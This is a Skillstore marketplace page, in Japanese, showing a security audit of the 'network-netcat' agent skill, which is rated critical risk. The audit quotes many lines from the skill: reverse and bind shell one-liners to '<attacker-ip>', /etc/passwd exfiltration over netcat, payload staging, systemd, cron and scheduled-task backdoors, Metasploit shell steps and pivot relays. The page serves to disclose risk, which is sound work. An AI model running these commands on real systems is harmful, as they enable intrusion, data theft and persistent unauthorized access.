📦
pytm
81pytm Threat Models as Code を構築する
脅威モデリングは、アーキテクチャ変更から切り離され、古くなりがちです。このスキルは、セキュリティレビューと CI のために、pytm モデル、STRIDE 分析、図表ワークフローの作成を支援します。
セキュリティ＆コンプライアンス 表示
スキル network-netcat
📦
network-netcat
v0.1.0 コンテンツリビジョン r1 重大 ⚙️ 外部コマンド🌐 ネットワークアクセス📁 ファイルシステムへのアクセス🔑 環境変数⚡ スクリプトを含む
Netcatを用いたネットワークテストワークフローの監査
ネットワークテスターには、接続性チェックと制御された検証のための明確なnetcatワークフローが必要です。このスキルは、netcatコマンド、認可手順、ドキュメント作成ガイダンスを整理します。
対応: Claude Codex Code(CC)
この Skill を自動インストールしないでください。
基準ポリシーにより、インストール操作の前にオペレーターのレビューが必要です。
自分のエージェントでインストール
このリクエストをエージェントにコピーしてください。正規の Skill ページとマニフェストが含まれています。
エージェントリクエスト
Review the Skillstore skill "network-netcat" from https://skillstore.io/skills/agentsecops-network-netcat.md and its manifest at https://skillstore.io/api/skills/agentsecops-network-netcat/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.エージェントは引き続き計画を提示し、セキュリティポリシーで必要な確認を求める必要があります。
エージェントが読めるリソース
AI エージェント、クローラー、スクリプトがページ全体ではなく整理されたコンテキストを必要とする場合は、これらのリンクを使ってください。
テストする
「network-netcat」を使用しています。 承認済みのアプリケーションポートが2つの内部ホスト間で到達可能かどうかをテストする必要があります。
期待される結果:
- 送信元ホスト、宛先ホスト、ポート、所有者、承認記録を含む範囲チェックリスト。
- TCPチェック、UDPチェック、期待される結果、証跡メモを分離したテストマトリクス。
- タイムスタンプ、コマンド記録、レビュアーのサインオフのためのクリーンアップおよび報告セクション。
「network-netcat」を使用しています。 エンドポイントログで見つかった不審なnetcatアクティビティをレビューする必要があります。
期待される結果:
想定される意図、影響を受けたホスト、プロセス指標、ネットワーク指標、封じ込め手順、追加証跡の依頼を含むトリアージ概要。
「network-netcat」を使用しています。 制限されたラボで提案されているnetcatファイル転送を評価する必要があります。
期待される結果:
- データの機密性、暗号化、宛先の管理、保持、監査ログを対象とするリスクレビュー。
- 業務上の統制により、より強力なアイデンティティまたは完全性の保証が必要な場合は、承認済みの転送ツールを使用することの推奨。
セキュリティ監査
重大v10 • 2026/7/9 バージョン別レポートを開く
The main SKILL.md contains explicit reverse shell, bind shell, payload staging, data exfiltration, persistence backdoor, Metasploit, and relay guidance. CI and reference-template findings are mostly documentation false positives, except the CI pipe-to-shell installer. Because core skill intent enables unauthorized access and persistence if misused, the audit confirms high and critical marketplace risk.
6
スキャンされたファイル
2,096
解析済み行数
45
レビュー項目
0
誤検知を無視
確認済みのセキュリティ上の懸念 (24)
重大
Pipe to shell pattern
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The CI template downloads a remote installer script and pipes it directly to bash. This creates a supply-chain execution risk because remote content runs without pinning or verification.
重大
Shell backdoor keywords
tags: [networking, netcat, reverse-shell, file-transfer, port-scanning, banner-grabbing]
The metadata advertises reverse-shell and backdoor-related capabilities. This accurately reflects the main skill content and is a real marketplace risk.
重大
Metasploit framework
### Metasploit Integration
The section gives Metasploit and meterpreter post-exploitation steps for executing or uploading netcat shells. That is operational offensive guidance.
重大
Metasploit framework
# Metasploit session backgrounding and netcat shell
The section gives Metasploit and meterpreter post-exploitation steps for executing or uploading netcat shells. That is operational offensive guidance.
重大
Metasploit framework
meterpreter > execute -f nc -a "<attacker-ip> 4444 -e /bin/bash"
The section gives Metasploit and meterpreter post-exploitation steps for executing or uploading netcat shells. That is operational offensive guidance.
重大
Metasploit framework
meterpreter > upload /usr/bin/nc /tmp/nc
The section gives Metasploit and meterpreter post-exploitation steps for executing or uploading netcat shells. That is operational offensive guidance.
重大
Metasploit framework
meterpreter > shell
The section gives Metasploit and meterpreter post-exploitation steps for executing or uploading netcat shells. That is operational offensive guidance.
重大
Malware type keywords
### Pattern 4: Persistent Backdoor (Authorized Testing)
The matched text is in a persistent backdoor workflow that creates and starts a systemd service. This is explicit maintained-access guidance.
確認済みの24件をすべて表示
重大
Malware type keywords
cat > /etc/systemd/system/netcat-backdoor.service <<EOF
The matched text is in a persistent backdoor workflow that creates and starts a systemd service. This is explicit maintained-access guidance.
重大
Malware type keywords
systemctl enable netcat-backdoor.service
The matched text is in a persistent backdoor workflow that creates and starts a systemd service. This is explicit maintained-access guidance.
重大
Malware type keywords
systemctl start netcat-backdoor.service
The matched text is in a persistent backdoor workflow that creates and starts a systemd service. This is explicit maintained-access guidance.
重大
System password file access
cat /etc/passwd | nc <attacker-ip> 5555
The command pipes /etc/passwd through netcat to an attacker host under a data exfiltration heading. This is direct sensitive file exfiltration guidance.
重大
Systemd service enablement
systemctl enable netcat-backdoor.service
The command enables a systemd service named netcat-backdoor. It establishes Linux persistence for a remote shell.
重大
Windows scheduled task creation
schtasks /create /tn "NetworkCheck" /tr "C:\ncat.exe <attacker-ip> 4444 -e cmd.exe" /sc onstart /ru
The command creates a Windows scheduled task that runs ncat with cmd.exe at startup. This is Windows persistence for remote command execution.
重大
[HEURISTIC] SUSPICIOUS COMBINATION: Code execution + Persistence mechanism
This combination is common in malware that maintains access
The skill combines shell execution guidance with persistence examples such as systemd, cron, and scheduled tasks. This maintained-access pattern is confirmed by the reverse shell and backdoor sections in SKILL.md.
重大
Reverse And Bind Shell Runbooks
SKILL.md gives Linux, Windows, Python, PowerShell, and named-pipe workflows for reverse shells, bind shells, and PTY upgrades.
The section headings and commands explicitly describe reverse shells, bind shells, and interactive shell upgrades across platforms.
重大
Data Exfiltration Instructions
SKILL.md includes a dedicated data exfiltration pattern for sensitive files, database dumps, and web directories sent to an attacker listener.
The heading and examples directly label the workflow as data exfiltration and include sensitive file transfer over netcat.
重大
Persistence Backdoor Setup
SKILL.md provides Linux systemd, cron, and Windows scheduled task examples to keep netcat shell access running after reboot.
The section is titled persistent backdoor and includes service enablement, cron persistence, and scheduled task creation.
高
Malware type keywords
transfers, and backdoor communication channels. Use when: (1) Testing network connectivity and
The matched text describes backdoor communication, persistence cleanup, or removal after engagement. In context, it confirms that the workflow includes creating shell and backdoor artifacts.
高
Malware type keywords
[ ] 8. Remove any backdoors or persistence mechanisms
The matched text describes backdoor communication, persistence cleanup, or removal after engagement. In context, it confirms that the workflow includes creating shell and backdoor artifacts.
高
Malware type keywords
- **Cleanup**: Remove all shells, listeners, and backdoors post-engagement
The matched text describes backdoor communication, persistence cleanup, or removal after engagement. In context, it confirms that the workflow includes creating shell and backdoor artifacts.
高
Network scanning tools
Simple port scanning (note: nmap is more comprehensive):
The line introduces netcat port scanning. Network scanning is legitimate with authorization but remains a real reconnaissance capability.
高
Relay, Pivot, And Covert Channel Guidance
SKILL.md describes relays through compromised hosts, pivot chains into internal services, and simple covert communication channels.
The text explicitly names compromised hosts, internal network relays, pivot chains, and covert communication with netcat listeners.
中
System reconnaissance
echo -e "GET /?cmd=id HTTP/1.0\r\n\r\n" | nc <target-ip> 80
The request tests command execution over HTTP using netcat and a cmd=id parameter. It is exploit validation guidance and can be abused against unauthorized targets.
機能レビュー項目 (45)
これらは、このスキルに期待される可能性のある実際のローカル機能であるため、レビューが必要ですが、確認済みの悪意ある動作としてはカウントされません。
重大
Process spawn
python -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY after shell access. This materially improves an obtained shell and supports unauthorized interactive control if misused.
重大
Process spawn
python3 -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY after shell access. This materially improves an obtained shell and supports unauthorized interactive control if misused.
重大
Process spawn
python -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY after shell access. This materially improves an obtained shell and supports unauthorized interactive control if misused.
重大
Python subprocess.call
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(
The Python one-liner opens a socket to an attacker host and launches an interactive shell through subprocess.call. This is a complete reverse shell payload.
重大
Python PTY spawn (shell access)
python -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY after shell access. This materially improves an obtained shell and supports unauthorized interactive control if misused.
重大
Python PTY spawn (shell access)
python3 -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY after shell access. This materially improves an obtained shell and supports unauthorized interactive control if misused.
重大
Python PTY spawn (shell access)
python -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY after shell access. This materially improves an obtained shell and supports unauthorized interactive control if misused.
重大
PowerShell invocation
# PowerShell reverse shell
The PowerShell example creates a TCP client, executes received commands, and writes command output back to the remote host. This is a Windows reverse shell pattern.
重大
PowerShell invocation
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',4444);$stream
The PowerShell example creates a TCP client, executes received commands, and writes command output back to the remote host. This is a Windows reverse shell pattern.
重大
Windows cmd.exe
ncat.exe <attacker-ip> 4444 -e cmd.exe
The ncat command exposes cmd.exe through a network connection. This provides remote command execution on Windows if used outside a controlled lab.
重大
Windows cmd.exe
ncat.exe -lvnp 4444 -e cmd.exe
The ncat command exposes cmd.exe through a network connection. This provides remote command execution on Windows if used outside a controlled lab.
重大
Windows cmd.exe
schtasks /create /tn "NetworkCheck" /tr "C:\ncat.exe <attacker-ip> 4444 -e cmd.exe" /sc onstart /ru
The schtasks command configures a Windows startup task that runs ncat with cmd.exe. This creates persistent remote command execution.
重大
Unix shell invocation
nc <attacker-ip> 4444 -e /bin/bash
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
重大
Unix shell invocation
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
重大
Unix shell invocation
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
重大
Unix shell invocation
python -c 'import pty; pty.spawn("/bin/bash")'
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
重大
Unix shell invocation
python3 -c 'import pty; pty.spawn("/bin/bash")'
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
重大
Unix shell invocation
nc -lvnp 4444 -e /bin/bash
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
重大
Unix shell invocation
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
重大
Unix shell invocation
ExecStart=/bin/nc <attacker-ip> 4444 -e /bin/bash
The command launches or repeatedly reconnects a bash shell through netcat. In this context it enables persistent remote shell access.
重大
Unix shell invocation
(crontab -l; echo "@reboot /bin/nc <attacker-ip> 4444 -e /bin/bash") | crontab -
The command launches or repeatedly reconnects a bash shell through netcat. In this context it enables persistent remote shell access.
重大
Unix shell invocation
meterpreter > execute -f nc -a "<attacker-ip> 4444 -e /bin/bash"
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
重大
Unix shell invocation
sh-4.2$ /tmp/nc <attacker-ip> 5555 -e /bin/bash
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
重大
Unix shell invocation
cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
重大
Unix shell invocation
ncat <attacker-ip> 4444 -e /bin/bash
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
重大
Unix shell invocation
while true; do nc <attacker-ip> 4444 -e /bin/bash; sleep 10; done
The command launches or repeatedly reconnects a bash shell through netcat. In this context it enables persistent remote shell access.
重大
Unix shell invocation
while true; do nc <attacker-ip> 4444 -e /bin/bash 2>/dev/null; sleep 60; done
The command launches or repeatedly reconnects a bash shell through netcat. In this context it enables persistent remote shell access.
重大
Unix shell invocation
python -c 'import pty; pty.spawn("/bin/bash")'
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
重大
Temp directory access
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
重大
Temp directory access
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
重大
Temp directory access
nc <attacker-ip> 4444 < /dev/null > /tmp/stage2.sh
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
重大
Temp directory access
chmod +x /tmp/stage2.sh
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
重大
Temp directory access
/tmp/stage2.sh
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
重大
Temp directory access
meterpreter > upload /usr/bin/nc /tmp/nc
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
重大
Temp directory access
sh-4.2$ /tmp/nc <attacker-ip> 5555 -e /bin/bash
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
重大
Temp directory access
rm /tmp/f; mkfifo /tmp/f
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
重大
Temp directory access
cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
高
Hardcoded URL
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The hardcoded GitHub URL is used in a live install command that executes downloaded content. The network access is risky because it is coupled to pipe-to-shell execution.
高
Unix shell invocation
export SHELL=/bin/bash
The export sets the shell environment during a PTY upgrade. It is part of an interactive reverse-shell stabilization workflow.
高
Hardcoded IP address
nc -lvnp 9090 -c "nc 192.168.1.100 3389"
The private IP appears in a pivot-chain example that relays traffic from a compromised host to an internal RDP service. The risk is the documented pivoting workflow, not the example address itself.
高
Standard device file access
nc <attacker-ip> 4444 < /dev/null > /tmp/stage2.sh
The device redirection appears in a payload staging or reconnecting reverse-shell workflow. It helps suppress input or errors while transferring or running shell payloads.
高
Standard device file access
while true; do nc <attacker-ip> 4444 -e /bin/bash 2>/dev/null; sleep 60; done
The device redirection appears in a payload staging or reconnecting reverse-shell workflow. It helps suppress input or errors while transferring or running shell payloads.
中
Shell command substitution
LOG_DIR="shells/$(date +%Y%m%d)"
The substitution is inside an automated reverse-shell catcher that creates timestamped shell logs. The surrounding workflow is remote shell handling, not routine scripting.
中
Shell command substitution
TIMESTAMP=$(date +%H%M%S)
The substitution is inside an automated reverse-shell catcher that creates timestamped shell logs. The surrounding workflow is remote shell handling, not routine scripting.
中
Unix shell invocation
#!/bin/bash
The shell shebang starts an automation script that catches and logs reverse-shell sessions. It supports the shell-handling workflow described in the same section.
リスク要因
⚙️ 外部コマンド (50)
assets/ci-config-template.yml:298 assets/ci-config-template.yml:301 assets/ci-config-template.yml:304 assets/ci-config-template.yml:307 assets/ci-config-template.yml:310 assets/ci-config-template.yml:134 assets/ci-config-template.yml:250 assets/ci-config-template.yml:291 SKILL.md:198 SKILL.md:199 SKILL.md:531 SKILL.md:182 SKILL.md:198 SKILL.md:199 SKILL.md:531 SKILL.md:34-46 SKILL.md:46-77 SKILL.md:77-89 SKILL.md:89-100 SKILL.md:100-115 SKILL.md:115-119 SKILL.md:119-131 SKILL.md:131-137 SKILL.md:137-151 SKILL.md:151-164 SKILL.md:164-170 SKILL.md:170-174 SKILL.md:174-192 SKILL.md:192-196 SKILL.md:196-205 SKILL.md:205-212 SKILL.md:212-221 SKILL.md:221-224 SKILL.md:224-226 SKILL.md:226-237 SKILL.md:237-240 SKILL.md:240-243 SKILL.md:243-249 SKILL.md:249-253 SKILL.md:253-259 SKILL.md:259-263 SKILL.md:263-271 SKILL.md:271-277 SKILL.md:277-287 SKILL.md:287-293 SKILL.md:293-303 SKILL.md:303-307 SKILL.md:307-313 SKILL.md:313-319 SKILL.md:319-325
🌐 ネットワークアクセス (24)
assets/ci-config-template.yml:240 assets/rule-template.yaml:43 assets/rule-template.yaml:44 assets/rule-template.yaml:45 assets/rule-template.yaml:73 assets/rule-template.yaml:118 assets/rule-template.yaml:119 assets/rule-template.yaml:151 assets/rule-template.yaml:191 assets/rule-template.yaml:192 assets/rule-template.yaml:193 assets/rule-template.yaml:217 assets/rule-template.yaml:260 assets/rule-template.yaml:261 assets/rule-template.yaml:288 SKILL.md:18 SKILL.md:19 SKILL.md:562 SKILL.md:563 SKILL.md:564 SKILL.md:565 SKILL.md:566 SKILL.md:309 SKILL.md:104
📁 ファイルシステムへのアクセス (13)
🔑 環境変数 (23)
assets/ci-config-template.yml:164 assets/rule-template.yaml:148 assets/rule-template.yaml:148 assets/rule-template.yaml:147 assets/rule-template.yaml:162 assets/rule-template.yaml:132 assets/rule-template.yaml:147 assets/rule-template.yaml:148 assets/rule-template.yaml:156 assets/rule-template.yaml:157 assets/rule-template.yaml:162 assets/rule-template.yaml:163 assets/rule-template.yaml:164 assets/rule-template.yaml:165 references/EXAMPLE.md:423 references/EXAMPLE.md:423 references/EXAMPLE.md:424 references/EXAMPLE.md:425 references/EXAMPLE.md:427 references/EXAMPLE.md:430 references/EXAMPLE.md:432 references/EXAMPLE.md:437 references/EXAMPLE.md:444
⚡ スクリプトを含む (2)
検出されたパターン
Pipe to shell patternShell backdoor keywordsMetasploit framework×5Malware type keywords×7System password file accessSystemd service enablementWindows scheduled task creationSystem reconnaissanceNetwork scanning tools
監査者: codex 監査履歴を表示 →
このレポートを共有・引用
バージョン付き評価レポート、中立的なバッジ、埋め込みカード、引用を共有できます。Skillstore は証拠を報告しますが、この Skill が安全かどうかは判断しません。
レポートリンクをコピー
https://skillstore.io/skills/agentsecops-network-netcat/audits/10?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdownバッジ
[](https://skillstore.io/skills/agentsecops-network-netcat?utm_source=security_passport_badge)HTMLバッジ
<a href="https://skillstore.io/skills/agentsecops-network-netcat?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/agentsecops-network-netcat/security.svg" alt="Skillstore security assessment" loading="lazy"></a>埋め込みカード
<iframe src="https://skillstore.io/embed/skills/agentsecops-network-netcat.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>学術引用 (APA · BibTeX · CFF)
APA形式の引用
AgentSecOps. (2026). network-netcat security audit report (audit version 10) [Author version 0.1.0]. Skillstore. https://skillstore.io/skills/agentsecops-network-netcat/audits/10BibTeX形式の引用
@techreport{agentsecops-agentsecops-network-netcat-2026,
author = {AgentSecOps},
title = {network-netcat security audit report (audit version 10)},
institution = {Skillstore},
year = {2026},
number = {10},
url = {https://skillstore.io/skills/agentsecops-network-netcat/audits/10},
note = {Author version 0.1.0}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "network-netcat security audit report (audit version 10)"
version: "0.1.0"
type: report
authors:
- name: "AgentSecOps"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/agentsecops-network-netcat/audits/10"
identifiers:
- type: other
value: "skillstore:agentsecops-network-netcat:audit:10"
description: "Skillstore immutable audit report identifier"
Skillstore スコア
このスコアの理由 証拠の信頼度: 中 55
アーキテクチャ
100
保守性
87
コンテンツ
73
コミュニティ
87
仕様準拠
作成できるもの
ネットワーク到達性を検証する
既知のホスト間で承認済みのTCPおよびUDPチェックを計画し、ファイアウォールやセグメンテーションレビューの証跡を記録します。
認可済みラボテストを準備する
ラボで制御された演習を実行する前に、netcatのテスト手順、ログ記録、クリーンアップタスクを整理します。
netcat検知カバレッジをレビューする
netcatの挙動を、監視および対応計画のためのプロセス、ネットワーク、コマンドラインの指標に対応付けます。
これらのプロンプトを試す
netcatの範囲をレビューする
[system]でnetcat接続性チェックを行うための事前テスト認可チェックリストの作成を手伝ってください。範囲、連絡先、ログ記録、クリーンアップを含めてください。
接続性テストを計画する
[environment]向けに、制御されたTCPおよびUDPの接続性テスト計画を作成してください。範囲内のホストのみを使用し、ドキュメント作成手順を含めてください。
リレーリスクを評価する
[lab]向けに提案されているnetcatリレーまたはファイル転送ワークフローをレビューしてください。リスク、統制、ログ、より安全な代替手段を特定してください。
検知カバレッジを強化する
[environment]におけるnetcatリバースシェルと永続化の指標に対する検知および対応計画を作成してください。SIEMフィールドと封じ込め手順を含めてください。
ベストプラクティス
- netcatアクティビティの前に、書面による認可を取得し、範囲内のターゲットを確認します。
- 攻撃的な検証には、隔離されたラボまたは承認済みの内部システムを使用します。
- コマンド、タイムスタンプ、転送されたファイル、結果、クリーンアップの証跡を文書化します。
回避
- 公開ターゲットまたは未承認ターゲットに対してnetcatを実行する。
- 制御されたエンゲージメントの外で、シェル、リレー、または永続化を作成する。
- 承認、暗号化、監査ログなしに機密ファイルを移動する。
よくある質問
このスキルは防御用途専用ですか？
いいえ。攻撃的なnetcatの例を含むため、明示的な認可と明確な範囲がある場合にのみ使用してください。
Claude、Codex、またはClaude Codeはこれらのコマンドを自動的に実行できますか？
このスキルはガイダンスを提供します。コマンドを実行する前に、ユーザーは承認、サンドボックス化、ツール権限を適用する必要があります。
これはNmapや完全なスキャナーの代替になりますか？
いいえ。netcatは簡易チェックに役立ちますが、専用スキャナーはより豊富な検出とサービスフィンガープリンティングを提供します。
どのような証跡を記録すべきですか？
認可、ターゲット範囲、タイムスタンプ、コマンド、送信元および宛先ホスト、転送されたファイル、クリーンアップ結果を記録してください。
このスキルを使用する最も安全な方法は何ですか？
ログ記録、監督、ロールバック手順を備えたラボまたは承認済みの内部環境で使用してください。
なぜこのスキルは高リスクなのですか？
シェル、リレー、ファイル転送、永続化パターンを文書化しており、悪用された場合に不正アクセスを支援する可能性があるためです。
開発者情報
作成者
AgentSecOpsライセンス
MIT
作者バージョン
v0.1.0
Skillstore リビジョン
r1
参照
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
メンテナンスの新しさ
2026/7/25
利用状況
9 ダウンロード · 399 閲覧
ファイル構成
AgentSecOps のその他のスキル
すべて表示📦
container-hadolint
72HadolintでDockerfileを検証する
Dockerfileには、安全でないパッケージ、rootユーザー、脆弱なエントリポイント、シークレット処理のミスが隠れていることがあります。このスキルは、イメージがビルドされる前にHadolintスキャン、CIゲート、修正手順をガイドします。
セキュリティ＆コンプライアンス 表示
📦
dast-nuclei
38Nuclei DAST スキャンを実行
手動の脆弱性チェックでは、Web アプリや API 全体にわたる既知の CVE や設定上の問題を見逃すことがあります。このスキルは、Nuclei スキャンの計画、CI ワークフローの調整、検出結果のレビューを支援します。
セキュリティ＆コンプライアンス 表示
📦
sast-semgrep
38Semgrep SASTでコードをスキャン
開発チームには、ルールをゼロから作成せずに繰り返し実行できる静的セキュリティレビューが必要です。このスキルは、Semgrepスキャン、OWASPとCWEのマッピング、修復計画、CI統合をガイドします。
セキュリティ＆コンプライアンス 表示
📦
sca-trivy
38Trivy でコンテナと依存関係をスキャン
未知の CVE や設定ミスは、安全なリリースを遅らせる可能性があります。このスキルは、一般的なデリバリーワークフロー全体で Trivy スキャン、SBOM 作成、修復の優先順位付けをガイドします。
セキュリティ＆コンプライアンス 表示
📦
dast-zap
38OWASP ZAPでWebアプリをスキャン
ランタイムのWebセキュリティテストをチーム全体で標準化するのは困難です。このスキルは、承認済みスキャン、APIテスト、認証、CI/CDレポート作成のためのOWASP ZAPワークフローを提供します。
セキュリティ＆コンプライアンス 表示
関連スキル
すべて表示📦
senior-security
81アプリケーションセキュリティレビューを強化する
作成者 alirezarezvani
セキュリティレビューでは、一貫したチェックリストや再利用可能なワークフローが不足しがちです。このスキルは、Claude、Codex、Claude Code 向けに、セキュリティレビューのひな形、参照ガイダンス、シンプルなレポート作成スクリプトを提供します。
セキュリティ＆コンプライアンス 表示
📦
security-engineering
81セキュリティエンジニアリングの意思決定を強化する
作成者 89jobrien
セキュリティ業務は多くの場合、アーキテクチャ、アイデンティティ、コンプライアンス、テスト、対応計画にまたがります。このスキルは、Claude、Codex、Claude Codeに、構造化されたセキュリティエンジニアリングのガイダンスを提供します。
セキュリティ＆コンプライアンス 表示
📦
web-security-testing
80OWASP Web セキュリティテストを実施
作成者 sickn33
Webチームには、リリース前に一般的なアプリケーションリスクを確認するための再現可能な方法が必要です。このスキルは、OWASPテストをフェーズ、プロンプト、レポート作成手順に整理します。
セキュリティ＆コンプライアンス 表示
📦
skill-check
80リリース前にエージェントスキルを検証
作成者 JckJhns
スキル作成者には、スキルが機能し、回避可能なリスクにユーザーをさらさないことを示す証拠が必要です。SkillCheck は、段階的なチェックを通じて、構造、セキュリティ、eval、スクリプト、出力をレビューします。
セキュリティ＆コンプライアンス 表示
📦
azure-compliance
79Azure コンプライアンスと Key Vault 有効期限の監査
作成者 microsoft
Azure チームには、リスクが障害になる前に明確なコンプライアンス所見が必要です。このスキルは範囲を限定した監査を実行し、結果を優先順位付きのアクションに変換します。
セキュリティ＆コンプライアンス 表示
📦
security-audit
79アプリケーションのセキュリティリスクを監査
作成者 89jobrien
セキュリティレビューでは、スコープ、深刻度、修復方法が不明確な場合、一般的な脆弱性を見落とすことがあります。このスキルは、OWASP チェック、CVSS スコアリング、レポートテンプレートを使用した構造化監査を支援します。
セキュリティ＆コンプライアンス 表示